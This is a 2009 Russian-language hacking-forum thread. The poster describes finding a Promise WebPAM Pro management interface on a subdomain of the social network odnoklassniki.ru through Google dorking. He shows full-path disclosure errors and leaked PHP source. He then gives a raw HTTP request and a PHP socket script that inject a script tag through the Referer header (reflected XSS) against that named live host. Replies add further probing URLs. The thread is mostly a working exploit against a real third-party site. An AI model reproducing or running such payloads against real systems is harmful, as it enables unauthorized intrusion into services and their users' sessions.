Одноклассники

Discussion in 'Социальные сети' started by mghack, 23 Apr 2009.

  1. mghack

    mghack New Member

    Joined:
    25 Apr 2008
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Решил я как то погуглить по одноклашкам
    google.com
    site:eek:dnoklassniki.ru -www -rabota -std -mg2 -mg1 -.....

    в результате большенство основных линков отсеилось и моему взору предстала интересная ссылка
    http://c4.odnoklassniki.ru/

    там доступ к ститеме webpam pro
    (вот сайт производителя http://www.promise.com/support/download/download2_eng.asp?category=all&os=100&productID=121)

    перейдя по ссылке http://c4.odnoklassniki.ru/contact.php увидел
    раскрытие абсолютных путей )))
    немного поэкспирементировав с параметрами в посылаемом http запросе я получил следующее

    session_start(): The session id contains invalid characters, valid characters are only a-z, A-Z and 0-9 in /islavista/sw/php/promise/language.php on line 15
    Notice: Undefined offset: 1 in /islavista/sw/php/promise/language.php on line 24
    Notice: Undefined index: HTTP_REFERER in /oem/sw/gui/languages/en_US_Contact.html on line 189
    Notice: Undefined index: HTTP_REFERER in /oem/sw/gui/languages/en_US_Contact.html on line 191

    опа, па !
    ага, значит посмотрим http://c4.odnoklassniki.ru/languages/en_US_Contact.html

    http://c4.odnoklassniki.ru/languages/en_US_Contact.html
    видим кусок php кода который в этом html
    <?
    if(preg_match('/index.php/',$_SERVER['HTTP_REFERER']))
    echo '<tr><td><a href="'.$_SERVER['HTTP_REFERER'].'">Back</a></td><td></td></tr>';
    if(preg_match('/help/',$_SERVER['HTTP_REFERER']))
    // echo '<tr><td><a href="'.$_SERVER['HTTP_REFERER'].'">Back</a></td><td></td></tr>';
    echo '<table><tr><td><img src=help/helpImages/ball-back.gif></td><td><a href=javascript:history.back()>Go Back</a></td></tr></table>';
    ?>


    интересно, значит можно послать http запрос с xss в реферере

    GET /contact.php HTTP/1.1
    Host: c4.odnoklassniki.ru
    User-Agent: *
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en,en-us;q=0.7,en;q=0.3
    Accept-Encoding: gzip,deflate
    Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 300
    Proxy-Connection: keep-alive
    Referer: /index.php/"><script>alert(0);</script>

    вот как вариант запрос


    вот реализация на php
    <?php
    $res = '';
    $sock=fsockopen('c4.odnoklassniki.ru',80, $errno, $errstr, 30);
    if(!$sock)
    {
    echo $errstr($errno);
    }else{
    $headers = "GET /contact.php HTTP/1.1\r\n";
    $headers .="Host: c4.odnoklassniki.ru\r\n";
    $headers .="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\r\n";
    $headers .="Accept-Language: en\r\n";
    $headers .="Referer: /index.php/\"><script>alert(123)</script>\r\n";
    $headers .="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
    $headers .="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n";
    $headers .="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n";
    $headers .="Cache-Control: no-cache\r\n\r\n";
    }
    fwrite($sock, $headers);
    while(!feof($sock)){
    $res .=fgets($sock, 1024);
    }
    echo $res;
    ?>


    Вот такие бывают вещи.

    актуальность 21.04.2009
     
  2. pento

    pento Elder - Старейшина

    Joined:
    3 Jul 2006
    Messages:
    126
    Likes Received:
    24
    Reputations:
    -1
    + http://c4.odnoklassniki.ru/js/plib.js
    Code:
    /*******************************************************************************
     * Filename    : plib.js
     * Description : Javascript functions
     * Created on  : 07/18/03
     * CVS Version : $Id: plib.js,v 1.36 2007/03/14 07:38:55 xinc Exp $
     *
     * (C) Copyright Promise Technology Inc., 2003
     * All Rights Reserved
     ******************************************************************************/
    ...
    
     
  3. 1SeTh

    1SeTh Elder - Старейшина

    Joined:
    17 Feb 2006
    Messages:
    164
    Likes Received:
    18
    Reputations:
    5
    http://c4.odnoklassniki.ru/?language=en_US/
     
  4. Zaic7

    Zaic7 Guest

    Reputations:
    0
    а ценность в чем?